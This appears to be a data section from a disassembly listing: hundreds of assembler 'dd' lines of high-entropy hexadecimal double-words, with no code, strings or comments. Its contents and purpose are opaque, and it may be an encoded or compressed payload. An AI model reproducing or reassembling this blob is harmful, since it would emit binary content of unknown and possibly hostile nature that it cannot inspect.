		dd 0FD6F93D3h, 2A04BCA8h, 530972DBh, 7EF0A887h,	98EB29CCh
		dd 0E2EC221Ch, 8C15BC3Ch, 613BCE19h, 6EDCA0CFh,	878000A8h
		dd 2796A5B1h, 26113EB8h, 7200D7EFh, 527C854Ah, 0EC4C289Eh
		dd 62568004h, 3A78B37Fh, 2D81719Bh, 0B04B57D0h,	289C20F8h
		dd 4CE0AF38h, 73FD1245h, 0B3A28820h, 829E011Eh,	0B43E4988h
		dd 0E4232Eh, 814B934Ch,	0DAA852h, 0CE5E7140h, 0B2CFB995h
		dd 0DB1BB9C0h, 0E0A02Bh, 0A6F54DA8h, 245AED8Ah,	17739103h
		dd 9B08A43Eh, 0D89DB0DCh, 0C7FC730Eh, 93956661h, 11009446h
		dd 17BE3AAh, 4A48E61h, 86C5A0E2h, 5618D1CFh, 0CCA3E184h
		dd 0C33828A8h, 0DCE40DA4h, 4D021D2h, 0C9620457h, 0C2DD94F4h
		dd 9D20D930h, 0DBEF7Fh,	0C1F10E08h, 71F97EBEh, 3DDF10A0h
		dd 7BBF854Ch, 9879C900h, 7F605DC7h, 0B28B03EAh,	92A80E09h
		dd 7CA948h, 37DA174h, 26B440BAh, 404023CFh, 62151D80h
		dd 0B2F9E400h, 0F2A20136h, 467D0010h, 3ABDA42Eh, 4F310ED9h
		dd 0D17051C1h, 45E38993h, 80923794h, 11EE3FAEh,	0AB57007h
		dd 0AD60B235h, 9C5178Ch, 9810FF16h, 0C981342Eh,	201FA6A7h
		dd 20C49D8Ch, 0B0C8708Bh, 662060Ah, 0D6E6F0B8h,	997D9E0Bh
		dd 0E43403D5h, 84A4B80Dh, 0BFB4F01Bh, 0C99793E0h, 3A387F71h
		dd 7357039Dh, 0D1111976h, 0B98566EEh, 0C7303F62h, 0E23CA088h
		dd 7C0ECF35h, 6450D24Fh, 40C81226h, 8CAA04F3h, 14375766h
		dd 8EFC03E0h, 0D865522Fh, 62C0A6Fh, 0F45ACB19h,	1C0E6186h
		dd 0A03FFFE5h, 3ED19C12h, 0CB5E00B8h, 5D2BC867h, 58F0ECA4h
		dd 0FE589F72h, 9E70030Ch, 3AAD8F77h, 0B1803A79h, 7C7F23CDh
		dd 0B0626066h, 4855DB81h, 3CB4851Ch, 590B2230h,	2C808A48h
		dd 3677AC07h, 2646860Ch, 33B79114h, 7F4129CDh, 0A080FBC8h
		dd 0A59B5F02h, 40BCC3EEh, 84954F14h, 868940Fh, 0A42A22F7h
		dd 278C606Dh, 204995Bh,	95E4BF3h, 69E5D881h, 0CD51145h
		dd 149DEDBh, 0BE8E794Ch, 0D063CCFEh, 0ADB0AB21h, 2EEB4300h
		dd 0D1FB6A29h, 2C365428h, 0C906205Dh, 7F0A8F03h, 2CD6FB0Dh
		dd 6098A451h, 0C02B073Ah, 0CC053E00h, 0BC99ED7Fh, 81200972h
		dd 94925A6Dh, 82CF34A0h, 48E937AFh, 4A008184h, 0E9A4CFBh
		dd 0F4BC5D97h, 7627061Fh, 91C68F63h, 6667101h, 6F348452h
		dd 3BA103C4h, 328EF356h, 66C0FDC7h, 7AF07CA5h, 0CFD9FF13h
		dd 46708C20h, 0B6FE418h, 0DCD07348h, 74044C90h,	7D87CA04h
		dd 18C04C38h, 0C00ECE9Fh, 4D8E4439h, 2C04A2D1h,	57343CD4h
		dd 0D87FC683h, 0C02ACF15h, 0A3E6CE29h, 2D1ED9AAh, 49809F6Bh
		dd 92A50983h, 0DA7495h,	0FB5A8BDh, 6465984Dh, 0F6DB6D00h
		dd 0CFE3ECB3h, 0D824A3BFh, 0EA12C6h, 8B59A065h,	5394501Bh
		dd 0D413262Ch, 0A0C1F345h, 95D0CA9Dh, 94710051h, 0D03D6686h
		dd 0CF5047D4h, 0EF006C60h, 0D821B3BDh, 13CCA8Ah, 333E758Eh
		dd 307EC0CDh, 3A08DF24h, 8066EE0Eh, 2D937A09h, 213AB58Ah
		dd 0E5798096h, 256D6601h, 1EC9189Dh, 383DC259h,	0A011700Eh
		dd 5402960Ah, 648E1339h, 35250318h, 5D91321Dh, 29F322F0h
		dd 2FE620h, 7E3E168Fh, 0A5EF3F8Ch, 84C29701h, 0D47996A4h
		dd 17611420h, 0A1F0C7h,	379D44D8h, 0E26C4156h, 4C850810h
		dd 69265406h, 0CF848658h, 3300F90Dh, 4A17BEBAh,	0B50BDBh
		dd 46FCEAC0h, 94297C4Bh, 116F5203h, 891BB27Eh, 0DE8CE3F7h
		dd 3E41325Ah, 57F47200h, 0F650B0DAh, 9CFC0253h,	0D23B39F1h
		dd 1FE6F0C0h, 8EF6BFB0h, 773C84B1h, 6000C0F4h, 0A462303Bh
		dd 610D28E6h, 3D0521E0h, 68239Dh, 0E8BD6EEh, 90D46624h
		dd 20DF013Ch, 0FF7095Fh, 0E79440C3h, 0A80A700Dh, 50536945h
		dd 0BD980E05h, 765CCCh,	7845544Fh, 0E3A3AB56h, 0FC5D4B00h
		dd 27B72A7h, 0F817260Eh, 0BEE20CD0h, 694CFE58h,	4D0D0A4h
		dd 0F43C2449h, 74E018C8h, 0F5F7002Ch, 0D5FCB27Ah, 900E345h
		dd 855E93DFh, 11A3FE97h, 240EEA26h, 4C403CCDh, 1CDF42h
		dd 19E79F8Bh, 8378EE85h, 0E315914h, 0DA82C0D4h,	3B401935h
		dd 8700CDD9h, 1EA0E6Dh,	1D1216D1h, 0F088630Fh, 0AD8D3842h
		dd 3A4E0D00h, 0A0C1CFBCh, 0DB6AE416h, 5B20E020h, 534C2667h
		dd 4041184h, 0EADB3BB4h, 95F467C0h, 0BEBF28C2h,	0AE8F02E4h
		dd 76C00D98h, 7D8A6CE0h, 81A4EE0Bh, 0C3F099DBh,	0B691ED8h
		dd 536DE222h, 9051E892h, 3C4C803Bh, 30A8216Ch, 7E7500C5h
		dd 0A326319Ah, 8A7E4E45h, 48685E64h, 8873E305h,	0FE004CD8h
		dd 77B41D67h, 2EF531h, 14F099A1h, 20CADB6Ch, 90E03Eh, 0F767D057h
		dd 0C77BBBC5h, 849CD479h, 9568C83Fh, 0E5267D0Eh, 0F90C8073h
		dd 0EA631EBFh, 10812CC0h, 0D6112Ch, 4C07F4A0h, 17F2819h
		dd 5354139Ah, 222F6D75h, 0BD047934h, 0CA20BA99h, 2006F8C2h
		dd 728C4A0Bh, 24927A01h, 81FC5763h, 2060D9CDh, 0B1CE88DDh
		dd 0AD5F31C0h, 9A0427h,	0E8757C81h, 2F1EAEE5h, 44132500h
		dd 3EF46D78h, 24EE5CC5h, 0A0D054h, 9650FCA4h, 6ABE6D1Ah
		dd 0DF4BD3FCh, 0A6B10470h, 0F31A0037h, 0C20DC4A0h, 66005726h
		dd 9715F217h, 1CBA10Ch,	0D7AA0744h, 0FBD25616h,	8EB97798h
		dd 2405D42Eh, 3685A404h, 9B1CD0A2h, 0AF3700DBh,	0E89F0D03h
		dd 22953400h, 56B7A00Ch, 8F30B1CCh, 316FBA80h, 0C0724104h
		dd 0C03297ACh, 0C4500E3Ah, 0F38C0258h, 0DCBD5695h, 0DE004852h
		dd 8EA355CCh, 1873D62Dh, 0D9C85B26h, 0D963B4C4h, 69EF29h
		dd 5977A149h, 7A2F704Dh, 0A3A5C509h, 3C640731h,	0DA0D2611h
		dd 34022054h, 0A4D61328h, 1021610Ch, 0F5A908CCh, 0E052EF12h
		dd 4A8E7C00h, 121A0EAh,	0E4DC058Ch, 0C316657Ah,	9D01F0Ch
		dd 4CB89D54h, 0E4754428h, 8F78A00Ch, 3BA59D0h, 2A871FFDh
		dd 0E5B091F3h, 0B200D626h, 0FE7D4BBDh, 0E26DBEF7h, 0D531C144h
		dd 51E928F8h, 14D98558h, 18854CCh, 2622658h, 60FB3B37h
		dd 0A71D82C7h, 0D3532F01h, 10B47409h, 2CEF988Ch, 1C9480DEh
		dd 0AA69302Dh, 413298Eh, 0C48026DBh, 7534F3Fh, 0C1E899E2h
		dd 87A7F595h, 0C02D94E4h, 6CA3F318h, 4900A498h,	0FA81C957h
		dd 929CE6Eh
		dd 500C7061h, 0A40A54C5h, 2F00944Bh, 0FDD320Eh,	0D5E272h
		dd 8A09CF0Ah, 6B92B89Eh, 62455700h, 71E61473h, 5B7A287Eh
		dd 30594BA8h, 869B2770h, 56687203h, 0C8705553h,	5C4AFFB2h
		dd 7180C8CEh, 6CDC62E8h, 8000337Dh, 117F64E4h, 0E3E54E1h
		dd 0C4357AECh, 0F0E5D83h, 1A1C4BC0h, 8F7412FAh,	0E6AA1B09h
		dd 3D7C648Eh, 3580A49Fh, 0FFD107F8h, 6618E944h,	0A5713645h
		dd 0CB710984h, 50E8F43Eh, 0BA77158Eh, 852DED00h, 5EEC45E6h
		dd 29C60025h, 0FF4D1A5Bh, 0E496A50Eh, 4871649Dh, 94303909h
		dd 0AAF6022Dh, 8EC51ED2h, 783C4C44h, 0C9A81837h, 3A7F7111h
		dd 7C4C27C1h, 466020Ch,	4848B968h, 576F0045h, 691F5491h
		dd 83FC9C44h, 6A0C00Eh,	0B4514EA2h, 5226F63Ah, 5308A81Ch
		dd 7E770EB6h, 2244EC02h, 388EDC60h, 45635913h, 3B3D1420h
		dd 0B33A0027h, 0AE74CF93h, 5400F4B1h, 2E94628Bh, 300A92B6h
		dd 9A316CEEh, 963EC0A1h, 8261BEE3h, 0C28A4727h,	85CC8E86h
		dd 688D08D1h, 17294BF8h, 0A4C94Fh, 0F149FC74h, 7F036F5Eh
		dd 0F4FD4641h, 0BF86D128h, 78DC5021h, 0D4761FF8h, 0D5D4FA5h
		dd 0EE3BB922h, 593ACC90h, 0F68F0A02h, 82CA8549h, 255EA9B0h
		dd 9B00C8EEh, 36E84A00h, 6ADD22B0h, 0F79A0090h,	63D10208h
		dd 40118E7h, 5C37BDABh,	8C606A66h, 560E883Bh, 378434B4h
		dd 98824380h, 8C4CFh, 938F53BCh, 6062D10Bh, 51B60300h
		dd 899972B2h, 94D2009Fh, 980D7810h, 4C01EC4Ah, 685921B3h
		dd 0A872EF26h, 0B4DD7776h, 66380B0h, 8C2AF896h,	10FB0D27h
		dd 0EE6957B4h, 0DA631817h, 25A4E9DBh, 26728F00h, 2769A0CAh
		dd 0C2500064h, 37949A9Ch, 3A00D83Dh, 49C8BFCCh,	97E2955h
		dd 0DB33DEA5h, 30319C41h, 3500F6A4h, 561047F9h,	26C5FA90h
		dd 1218B2E3h, 0D4140767h, 0CCD14471h, 970012A8h, 94B399BFh
		dd 7C683C0Fh, 0F4742CF5h, 0C76E0FA0h, 1492A501h, 544892B3h
		dd 8EFA3C04h, 31B48E4h,	0A1940517h, 0A4E53F2Ch,	9700BEC8h
		dd 6D1FC06Ch, 94CC20h, 0B9BA3905h, 0FFE9F3D5h, 3C640C38h
		dd 0C8A90057h, 0B7567504h, 1DAA139Ah, 7A0804C0h, 95248314h
		dd 6179A790h, 0A00F2B06h, 1C1AEEDh, 807B8CCCh, 2092865Ch
		dd 0C60F60BCh, 323C3664h, 0E5417437h, 3060F28Fh, 26350031h
		dd 0C5929F30h, 40B4894h, 0F53EF69h, 54DB64F4h, 0E09CB890h
		dd 0C47F005Bh, 0FA5AC01Eh, 0D8FFAE6Bh, 4C1256C2h, 0BCC8BEA8h
		dd 44EF0009h, 0F452B85Eh, 73002C25h, 16405767h,	202BCA8h
		dd 4F3E8556h, 404692B0h, 8C1E96E6h, 9F931A30h, 0EC2C600h
		dd 43DD2Fh, 80B2768Eh, 28F53D6Dh, 0E020155Eh, 608E1F5Eh
		dd 722D11C5h, 0EC00BEF9h, 91EDD3EAh, 31A3BD4h, 6D636FC9h
		dd 712FB456h, 76EC21DBh, 92E8228Eh, 95B78B5h, 0F80545A2h
		dd 0A6ED78Ah, 0F81D78h,	0EAA0588Ch, 94EAF03h, 96C30008h
		dd 0F1490CEh, 5A002B40h, 5FC9AA91h, 1F8892Ch, 0DB81887h
		dd 8029DB75h, 315DB379h, 38886B6Eh, 8A00462Ah, 0FEEA95Eh
		dd 0FA05B4F7h, 7A299CCCh, 18D7050h, 0FE0395Fh, 0DE707B87h
		dd 183428F7h, 91EB05D0h, 4090EDABh, 33C5AF8h, 0CC01F5C2h
		dd 0F4C7AC58h, 0C426510Eh, 0E87EBD3Eh, 8E680044h, 61287526h
		dd 91DA7Eh, 0B70ED900h,	2C1AE7h, 0CAF1E67h, 0FD3BA9D2h
		dd 725C7F00h, 29F64DE2h, 167C912Eh, 0C27C20CDh,	0F0003ADCh
		dd 89377239h, 481E9F0Bh, 9726A408h, 0A06900B0h,	5BF75EC5h
		dd 2E029000h, 0EAB4C77Dh, 0FFE4CEh, 4D57BF9Eh, 0B8F6EFBAh
		dd 0A7FA7177h, 1D3BEE00h, 3FFAD512h, 73D10538h,	88F454B5h
		dd 0E43C9FCCh, 89E100FBh, 75577874h, 0BD9E1883h, 3C97E9A7h
		dd 0C551E20Bh, 0B49ABCh, 0BB6AD320h, 0C5951712h, 6D9CCC8Dh
		dd 0C970124h, 0EB235D02h, 0B894C0F6h, 0C45406BCh, 28C33D67h
		dd 8A1DE0EAh, 93DEA60h,	1028CF6Fh, 0E9ADFD78h, 34319FE9h
		dd 0CBB6EE4h, 8D450FF5h, 2A013A81h, 68CAC3EDh, 2EC4BD76h
		dd 4070EB1Dh, 366E09D0h, 649AE6CFh, 0BB0B0A40h,	74F27E00h
		dd 38A694DDh, 7CF74C4Ch, 0F5A49E3Bh, 86610B5Ch,	0B6079444h
		dd 0AF7E8741h, 0F0DDAE33h, 27AAF777h, 0A420708Dh, 0C34E07FEh
		dd 65807603h, 0D11726A3h, 2B10C68Eh, 0F73CCE52h, 376C0079h
		dd 0ADED3596h, 0E6540098h, 84F93EAEh, 75EAE7B6h, 4058E490h
		dd 0F8F70B40h, 57B4E8EFh, 41BB00CCh, 7211757Fh,	6404FF8Eh
		dd 82C517D2h, 867890A2h, 4AC03042h, 220903CBh, 90B84800h
		dd 27E33FF7h, 5178035Bh, 3EDE9455h, 2D596981h, 0C43851ACh
		dd 7A186F97h, 3661AF8Fh, 56640076h, 0C603F741h,	8A00B4FCh
		dd 556D7125h, 907609C7h, 3D870B24h, 5C6168E2h, 2805D325h
		dd 75527A9Eh, 2A45F002h, 6FB478D9h, 4A202038h, 7D6F54F8h
		dd 263DB00Eh, 4D0DA579h, 0FFF380D8h, 0CF27A30h,	262F6D64h
		dd 24F5DCB1h, 0F00D4D0h, 7DA65069h, 1EE8CF37h, 508F4D3h
		dd 20DC1774h, 5D3124F4h, 0DBE5FB00h, 144832A1h,	0B0C80457h
		dd 0C0569B38h, 0D40C70FCh, 301740A1h, 1603F67Ch, 81FC54F7h
		dd 0B056DF85h, 9473FCC8h, 175D8748h, 0E604E034h, 0DA002B5Ch
		dd 167DDD11h, 943837CDh, 13BE60FCh, 60182418h, 4A41AD70h
		dd 0C74802BAh, 167886D3h, 24009446h, 35D5687h, 0A23A7D70h
		dd 0D43C9883h, 83F90038h, 2DBE064Fh, 50021E48h,	106F3EDBh
		dd 1879D3h, 0F3F1C98Eh,	160611Ah, 6D0A8AC0h, 5E400A8h
		dd 0F4782F3Dh, 73E45F3Fh, 7A2D4CA0h, 71DD404h, 98C0D17Dh
		dd 24E8FB45h, 413CA8C5h, 0CC59C9C3h, 0C4608F9Fh, 6942E239h
		dd 0A9370113h, 8A8CC197h, 7CABF44Fh, 7098B4A1h,	10959AA4h
		dd 1F9614h, 0F5B172D2h,	0A50EBDF8h, 0C22C9895h,	0C6B7EF0h
		dd 0CB7320A9h, 7A076569h, 5EC39926h, 0B5A03710h, 72180BC2h
		dd 0C490D30Ch, 0D0BC6066h, 8C84FF69h, 9E98A446h, 6EBD203h
		dd 0C8A97B1Fh, 1FC57E8Dh, 5FD8247h, 0C0114995h,	7D47D0Ch
		dd 90952777h, 4AC00EACh, 591C88A5h, 540839h, 0F746E6Fh
		dd 3C183A3h, 0DAF78668h, 2B82BFD5h, 5600B0D9h, 0D90AF3C0h
		dd 6CD2030Dh, 0A71E9C9Eh, 0BFDB51B9h, 0DA699269h, 98A27820h
		dd 0D3C0040h, 7F3B2B9Dh, 6B04A4E9h, 0EA529EBh, 0D5951180h
		dd 12F4749Eh, 0B0017AFDh, 0B6256F00h, 373820DBh, 106A61h
		dd 64760ADh, 7EA45AF6h,	2089B800h, 2B2D3A49h, 94C0188Ch
		dd 0CE55E809h, 0BC950084h, 6B927C5Ch, 3B2CF8EFh, 7B1D9266h
		dd 0A986EC80h, 0A3CE8D36h, 0A0C7E874h, 0E1B8C0BDh, 0D0CC6AF9h
		dd 84A44B01h, 633D1496h, 2CE14002h, 5D5812E0h, 0D01C44FEh
		dd 143EF0C4h, 0A9089780h, 3D6904E4h, 0F4EA270Ah, 0B160CD50h
		dd 26794C71h, 0E578002Ch, 0FC06392Ah, 0CFA0897Dh, 0F801B9B6h
		dd 3ED0277Bh, 0F432EC26h, 40BCCE24h, 2DFECAFBh,	0EBD13403h
		dd 243CA974h, 2604170h,	84C00D6Dh, 7C26E0C1h, 90F82D48h
		dd 2EBBCh, 0E23F0B3Eh, 1269EE8Dh, 8357983Eh, 0AA7932D8h
		dd 0F63CC0D5h, 0EC2A54DCh, 0E8E33E73h, 0C921EA00h, 35D0825Ch
		dd 3600F8F8h, 0B1BF7A57h, 1562899h, 0CB76378Eh,	32AAC594h
		dd 80BF012Ch, 73396311h, 6DE723FAh, 7E0AC0F0h, 76541D01h
		dd 15C3FC5Ch, 89C48470h, 8C3D70h, 0B30D1B93h, 357A9Fh
		dd 543B9A4h, 0C0827F07h, 0CF16FD98h, 0FC0080D5h, 0BBC56A42h
		dd 77C1C237h, 28C42E6Dh, 0E040DC4Bh, 123F1B41h,	0E10B2E3Bh
		dd 6B730377h, 75F09BC2h
		dd 38268362h, 0E368D411h, 1274CF00h, 2484E93Dh,	0FC35C9h
		dd 5568608Ch, 0D8B89722h, 8E41605h, 0F8C8F450h,	9CC1DC9h
		dd 42AC1DFFh, 747C0ABAh, 60003471h, 2484AE30h, 713D90C4h
		dd 980E0B1Dh, 0C8811E82h, 6045589Ch, 0DB5A97BEh, 0E8775447h
		dd 7ABEE7D0h, 7699295Eh, 0D0D287F4h, 9C801137h,	2FC6DC39h
		dd 3840454Bh, 0F1363D1h, 0DD9F00C0h, 27785453h,	0EC58D823h
		dd 816C5CC0h, 6A80A6E6h, 0E72D660h, 923A2CBCh, 0BBD9403Dh
		dd 8E9AF27Ch, 0BF4B200h, 403C5776h, 0DF1904BFh,	0B239C3AAh
		dd 0BDA70024h, 0BC962F0Dh, 0BA740192h, 0C7610AD9h, 0B1B2D8EEh
		dd 5C70D02Ch, 38FCFF40h, 911700BBh, 72376151h, 7CB4691Eh
		dd 0D010F40h, 401896A0h, 0F6386215h, 6A5C9A00h,	0A0E608E2h
		dd 0FAED023Ch, 21ACDF03h, 187C7066h, 8F69A00h, 2A0E2F5Ch
		dd 49E829D1h, 37F780B0h, 53BA7540h, 7002A700h, 0E42A9E57h
		dd 3C7136h, 0A96D5BFDh,	0EF7F48Fh, 0EC90A826h, 83203664h
		dd 84E8E0E9h, 0A89C0C02h, 80D92BF0h, 0F45726ECh, 0A9A309FBh
		dd 0A07167B1h, 9A7F3400h, 2C48B16h, 0ADE3DF56h,	5C661CAAh
		dd 0F300CBF8h, 0ABCD172h, 3A4FDBD3h, 0C0797AAFh, 49F055C1h
		dd 5900A032h, 391A53F5h, 3C65CB88h, 0BE01BC37h,	9C54F6EDh
		dd 47C4301Ch, 0A5F96804h, 26C0E896h, 0E459F4BFh, 0B71784Eh
		dd 7EDE5CF1h, 0C2509007h, 7CD10C1Ch, 2EE12707h,	9D4D8CE0h
		dd 0A71A2CBBh, 17E826D0h, 8AE817FDh, 1AE40004h,	7C179AE6h
		dd 2588008Eh, 0A2D15536h, 4709CCC2h, 84F26A0Eh,	0A4BCBDF0h
		dd 98D09060h, 0CF0190E7h, 8E9E3673h, 0CC321426h, 71D63209h
		dd 390E9DD4h, 882DCA0Dh, 0E3826942h, 0BF7DD062h, 0D41D0A98h
		dd 10DC1Eh, 8A2103FEh, 0F648FB28h, 7F65C3FCh, 0B3B1D049h
		dd 0A4820F6Bh, 24D7C524h, 0C978E834h, 67005D86h, 1364A2E9h
		dd 40C0E25Bh, 4B26A4FBh, 7A188810h, 57596A03h, 8F6F4B20h
		dd 2093EFF2h, 1445EB39h, 62342705h, 0ACC87336h,	4997003Bh
		dd 0EFD9109Bh, 0EC00CF9Eh, 0C51F9855h, 0A608386Ah, 74F700B0h
		dd 5EB46387h, 5400518Fh, 0BB9C10A4h, 167AE25h, 0B22B0592h
		dd 201D63F7h, 472E2350h, 0BF0E283Dh, 0A618EA8h,	0CF00A887h
		dd 95F70CDBh, 0A72E25DFh, 361BA400h, 0D4828E2h,	10CD8B04h
		dd 0BAED454h, 9EE775ADh, 0C8E6ECA2h, 8C2EC858h,	1D00F23Ah
		dd 2E965763h, 4790FCDh,	28A59214h, 2FE82012h, 0E00D6C7h
		dd 67D2943Fh, 2C271D95h, 12748879h, 7540E26Eh, 0BEC3CA0Fh
		dd 0E77280A7h, 16CC5Ch,	0C64C64CFh, 5826AA7Fh, 0C459AE62h
		dd 800C54BCh, 723F8407h, 0B10F8D26h, 29FC784Bh,	5C64CBh
		dd 8B518A01h, 0B1668569h, 8302CC77h, 0CB3FF4E1h, 0B0DC4688h
		dd 96F8CEh, 9D481D24h, 6DABD1FFh, 75BD3D0Ah, 1F0B9CA6h
		dd 6F220079h, 582C6E57h, 0F072E047h, 7D76007Ch,	33489956h
		dd 5899FD26h, 4F188780h, 754061A9h, 969202ECh, 55DA41EBh
		dd 5E581F20h, 0BEA9823h, 0D8B5614h, 74C408h, 0C0984D4h
		dd 58057406h, 4C6D9EF5h, 3DB3F4B4h, 0A5A7CDE3h,	6316BC07h
		dd 9AE18710h, 0C6A64223h, 5240C856h, 439ED6h, 5710E540h
		dd 0D4023DA1h, 2705FE00h, 264D58CCh, 82ECBC5Bh,	891CB3F5h
		dd 0BA00BCF1h, 75152AB4h, 0AEF60499h, 843764DFh, 5E8B3ACh
		dd 146ED86h, 921EECA0h,	96A0418h, 0A48E9F53h, 0B200C1ECh
		dd 2F6F3CC6h, 1CE72D0h,	0FFB589C5h, 341E9E16h, 0EC743B44h
		dd 8C225928h, 603A6145h, 0C473D3ECh, 190D1D3Eh,	0CD19CA36h
		dd 4C20402Eh, 0F296023Fh, 0C1498603h, 0A0ED25BCh, 0FADA9B03h
		dd 58AE901Fh, 854E801Dh, 56D0811Ch, 0EC612FB4h,	1C33C1B2h
		dd 822A4400h, 5FEEFE83h, 0F8959900h, 0E63E1677h, 0DEF2008Eh
		dd 0F47D6D0Bh, 0C13D2D03h, 64C8CAC5h, 2224276Bh, 710AF061h
		dd 0F01E3AEBh, 8437A740h, 0F04398h, 0B187DE3Bh,	0DA01473h
		dd 0E4434E4Ah, 82598C11h, 3CB480A3h, 13CC95F4h,	0A5626C0Eh
		dd 92B46C3Ch, 52070A0Eh, 0E4E05018h, 0BC952E69h, 0AAE66030h
		dd 4487B23h, 13A300CCh,	540B4E66h, 0FCA40B3Fh, 7C04C09Fh
		dd 0FFE8E473h, 90C36E03h, 0A8AB5BFEh, 0F6B272h,	5839ECD1h
		dd 0EBA97710h, 0AC2D692Ch, 52A69760h, 128B14B3h, 8F2EB6B5h
		dd 4ED0405Ch, 0F3004DE6h, 129E09B1h, 1548930h, 0A31B0638h
		dd 3DED4459h, 5CA40070h, 0C1FC3A8Dh, 61210218h,	0EF28FD49h
		dd 0E58268D9h, 0D2BBC51Ch, 1084C0h, 0A6F7AAF3h,	6D634C58h
		dd 9CCC534Fh, 85C51084h, 0EE330C5Dh, 46679C2h, 0FE4840C8h
		dd 250FAAAAh, 3C444434h, 39753FC0h, 18009D24h, 69414A6Dh
		dd 59C04B70h, 599AB904h, 6127002Ah, 5097A490h, 22E70D34h
		dd 0C0A85800h, 0F65975D4h, 0C260007Eh, 1016F84Ch, 0AA3BCD13h
		dd 0D0C84A1Fh, 9C771EB3h, 0D1100080h, 0F46EF815h, 0A70054B8h
		dd 46909466h, 280D549Bh, 2E64D9A9h, 1F1A4C95h, 90A51668h
		dd 0E26458D4h, 0E9204D03h, 0E85CE3B4h, 901627A1h, 3BE60134h
		dd 0A3FDA9F6h, 3023F7h,	0BD82EA8Ch, 131FA726h, 4A6DC503h
		dd 0C0B817FCh, 0EF6A7FEh, 74385754h, 72366C0Fh,	279880F0h
		dd 9EDB4F7h, 0C7332D07h, 4ED4C480h, 0C305199Ch,	0DB6AD680h
		dd 0A98E830h, 0D05F1C5Ch, 8CA60112h, 60560CBEh,	9F120BE1h
		dd 94F4606Dh, 0B9FB340Eh, 0E210C438h, 95530168h, 9B544D1Bh
		dd 620F4823h, 0F0E00975h, 2B1964F1h, 7B637407h,	0B08A82C5h
		dd 0FD4CF63Bh, 29510050h, 37D0DB56h, 0C8BA583Ch, 0C8443817h
		dd 5200D82Ch, 0A22C1CDEh, 298577Eh, 6A553C88h, 0C872DB5Dh
		dd 2FC6F50Eh, 1DD8FB5h,	0CF062518h, 265298C7h, 9CE200A4h
		dd 11700CF6h, 0F448536Eh, 0AE82804Ch, 267E13h, 0C7165EA8h
		dd 8D84359Dh, 62776D00h, 136AE40Ch, 0A0939D05h,	83F403C4h
		dd 0ADA8C02Dh, 635001AAh, 87BBF93h, 5524FCA5h, 7E9778C1h
		dd 0FA8B1DB3h, 0ECA02977h, 74A06128h, 0B910E8h,	577780B8h
		dd 0AA0FFF79h, 5AEBE4AFh, 0BC442036h, 0A932815Eh, 0D63CC81Dh
		dd 0D468204h, 0B07A4C6Ch, 7F19B0B4h, 2C392E08h,	0D4E8CD25h
		dd 4F052F1Bh, 501DA0B8h, 5546D480h, 1C3C5CA1h, 0F304E222h
		dd 0CE1AC579h, 0B48CC8h, 1719FD7Eh, 0FE1DFA2Ah,	4CE8BB50h
		dd 1E0D0E18h, 9135F2F8h, 0B8A68070h, 2809DCB0h,	8499E264h
		dd 2F93A882h, 0C09E2100h, 0E11F737h, 66139056h,	9280302Fh
		dd 0B301CD98h, 245634ECh, 203BA097h, 0EBA6C18h,	84EBE400h
		dd 5DBBF0F1h, 0A52C4C54h, 90C88F27h, 52133847h,	0CC1450E5h
		dd 0E45B248Ch, 46A88500h, 1E5726C8h, 1AC5059Dh,	0FC5CC15Fh
		dd 0C25AC04Fh, 0CECBAh,	0E41C67C8h, 6A03E255h, 809D9A79h
		dd 1D5A1689h, 0B75702DEh, 0B37590C7h, 0DBE154A0h, 1000719Bh
		dd 14FAD2A6h, 2C4A0A82h, 5441398h, 888FB662h, 360244D0h
		dd 2749F3C5h, 1D0E4EEh,	0FE63A52Eh, 0F0B0241Fh,	950921A9h
		dd 827A36C9h, 59AE749Fh, 89013F8Ch, 0BF055A9Ch,	5DA441F6h
		dd 73804094h, 7770CF04h, 5C406AE7h, 799821ACh, 342A00F9h
		dd 0B8D6075Eh, 2EFDCD37h, 86E32400h, 0A44F0ED3h, 2B086D4h
		dd 9330C448h, 879AA2Bh,	7035D400h, 1297DFh, 0ECB49DB8h
		dd 6380FCA5h, 0DA8020EBh, 9DB3C488h, 0C124C11h,	378D015Eh
		dd 0CB06BE64h, 44006B10h, 4D2B4CF5h, 50E458B5h,	0DBF8B622h
		dd 0A180E89Eh, 10D7897h, 0B26B4CAEh, 0D9F27D02h, 34D11E45h
		dd 0E1053F0Fh, 37632003h
		dd 25D891F2h, 7678E270h, 810B0011h, 0E32451DDh,	0B098A48Fh
		dd 70814C4Eh, 28324539h, 4623800h, 7ACE9C9Bh, 0E2F6A300h
		dd 91D47CA8h, 0D9CB01CCh, 0C644DB63h, 5D3442CFh, 25CDF960h
		dd 8CED800h, 13ED7FB8h,	807B5BE4h, 29F4EBACh, 585D2D0Fh
		dd 53F5608Ch, 9628E3C6h, 0A484C0B4h, 2195DC1Eh,	7B5E07F0h
		dd 0A70BE4h, 5F18AD32h,	0BDD8BACEh, 0F248C57Eh,	0C3D00AE0h
		dd 0B5834878h, 908EEDEEh, 0F51C40Fh, 0E7C0981Ah, 7411DFC0h
		dd 83974D0Ah, 0C88D5AA4h, 608F64F8h, 71289AEh, 0AC00A0CAh
		dd 57D6D432h, 0BB6FC7Ah, 3629F978h, 0C0AC7CD9h,	0BA395902h
		dd 0D608C0B2h, 145F08Dh, 0DD2838B9h, 21A76315h,	0DA92C858h
		dd 0B378109Dh, 0AC6D0069h, 830CF5F8h, 0AB1E50D9h, 46EF101Ah
		dd 38D89868h, 32139F69h, 7F64F24Fh, 163CC200h, 1CB74213h
		dd 859A00CAh, 0E0CED943h, 0F2046D2Ah, 0C40D2889h, 4E3C115Fh
		dd 8FD29CC0h, 147B0027h, 8EE497B4h, 10130A1Bh, 8022DA67h
		dd 0C19CE0C8h, 456D2656h, 814B40D0h, 9700BB1Fh,	51895779h
		dd 0BAD61842h, 207E4BA0h, 0ACF5D374h, 48701401h, 0ED59160Dh
		dd 0C7CACC70h, 21505721h, 2046E23Dh, 704CC414h,	0DBA18120h
		dd 68965CDFh, 6C5CA09Eh, 0B3C54012h, 86EA08C8h,	8B5D633Ch
		dd 871E606h, 0A704BC30h, 2DC31F0Ah, 466B879h, 5CECB059h
		dd 0CBC0A4BFh, 0BEB8413Eh, 2B9CD007h, 9AB4BDA4h, 7280A0ECh
		dd 1E2C98A8h, 84FB1700h, 1B3FF4FFh, 455CB010h, 3D5C4CB1h
		dd 0AD0DE0F9h, 47556801h, 0BED959F9h, 0E88310F1h, 0B55667D2h
		dd 0C06C3958h, 0AF2B4EFFh, 407E002Ch, 55EB9EDEh, 21C4D30Dh
		dd 0FC8C16D7h, 2C06001Eh, 11A099C0h, 72173C84h,	4B64C6Dh
		dd 0BFCE11h, 9FD2EEBBh,	0C31235h, 0A8F549C7h, 1DC10765h
